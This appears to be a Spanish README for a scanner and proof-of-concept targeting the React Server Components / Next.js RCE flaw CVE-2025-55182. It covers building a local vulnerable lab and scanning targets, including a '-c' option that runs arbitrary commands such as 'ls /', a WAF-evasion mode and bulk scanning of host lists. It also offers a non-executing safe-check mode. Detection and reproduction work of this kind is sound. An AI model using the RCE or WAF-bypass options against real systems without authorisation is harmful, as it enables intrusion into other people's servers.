
Entorno de reproducción de CVE-2025-55182 y PoC de eco RCE
| Componente | Versión recomendada para la reproducción | Rango de versiones vulnerables |
|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) y superiores |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 o 19.2.0 | 19.0.0 a 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 a 19.2.0 |
Forzar la instalación de una versión anterior
cd cve-2025-55182-target
npm install --force
Verificar las versiones de las dependencias
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
Siempre que la lista de dependencias de nivel superior muestre [email protected] y [email protected], el entorno quedará correctamente fijado en el estado vulnerable; puede ignorar las advertencias y los códigos de error que aparezcan aquí.
Compilar:
npm run build
Ejecutar:
npm start
El servidor estará a la escucha en http://localhost:3000. Una vez completada la configuración del entorno, puede comenzar la verificación de la vulnerabilidad.
Detección de vulnerabilidades / escaneo:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Una herramienta de línea de comandos para detectar CVE-2025-55182 y CVE-2025-66478 en aplicaciones Next.js que utilizan React Server Components.
Para obtener detalles técnicos sobre la vulnerabilidad y la metodología de detección, consulte nuestra publicación en el blog: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
Por defecto, el escáner envía una solicitud POST multipart manipulada que contiene un payload de prueba de concepto (PoC) de RCE que ejecuta una operación matemática determinista (41*271 = 11111). Los hosts vulnerables devuelven el resultado en la cabecera de respuesta X-Action-Redirect como /login?a=11111.
El escáner prueba primero la ruta raíz. Si no es vulnerable, sigue las redirecciones del mismo host (p. ej., de / a /en/) y prueba el destino de la redirección. Las redirecciones entre orígenes no se siguen.
La opción --safe-check utiliza un método de detección alternativo que se basa en indicadores de canal lateral (código de estado 500 con un digest de error específico) sin ejecutar código en el objetivo. Use este modo cuando no se desee ejecutar RCE.
La opción --waf-bypass antepone datos aleatorios al cuerpo de la solicitud multipart. Esto puede ayudar a evadir la inspección de contenido del WAF que solo analiza la primera parte del cuerpo de la solicitud. El tamaño predeterminado es de 128KB, configurable mediante --waf-bypass-size. Cuando la evasión de WAF está habilitada, el tiempo de espera (timeout) se aumenta automáticamente a 20 segundos (a menos que se establezca explícitamente).
La opción --windows cambia el payload de la shell de Unix (echo $((41*271))) a PowerShell (powershell -c "41*271") para objetivos que se ejecutan en Windows.
pip install -r requirements.txt
Escanear un solo host:
python3 scanner.py -u https://example.com
Escanear una lista de hosts:
python3 scanner.py -l hosts.txt
Escanear con varios hilos y guardar los resultados:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Escanear con cabeceras personalizadas:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Usar la detección segura por canal lateral:
python3 scanner.py -u https://example.com --safe-check
Escanear objetivos Windows:
python3 scanner.py -u https://example.com --windows
Escanear con evasión de WAF:
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Single URL to check
-c, --cmd Command to execute
-l, --list File containing hosts (one per line)
-t, --threads Number of concurrent threads (default: 10)
--timeout Request timeout in seconds (default: 10)
-o, --output Output file for results (JSON)
--all-results Save all results, not just vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H, --header Custom header (can be used multiple times)
-v, --verbose Show response details for vulnerable hosts
-q, --quiet Only output vulnerable hosts
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)
El PoC de RCE fue divulgado originalmente por @maple3142 -- estamos increíblemente agradecidos por su trabajo al publicar un PoC funcional.
Esta herramienta se creó originalmente como una forma segura de detectar el RCE. Esta funcionalidad sigue disponible mediante --safe-check, el modo de "detección segura".
Los resultados se imprimen en la terminal. Al usar -o, los hosts vulnerables se guardan en un archivo JSON que contiene la solicitud y la respuesta HTTP completas para su verificación.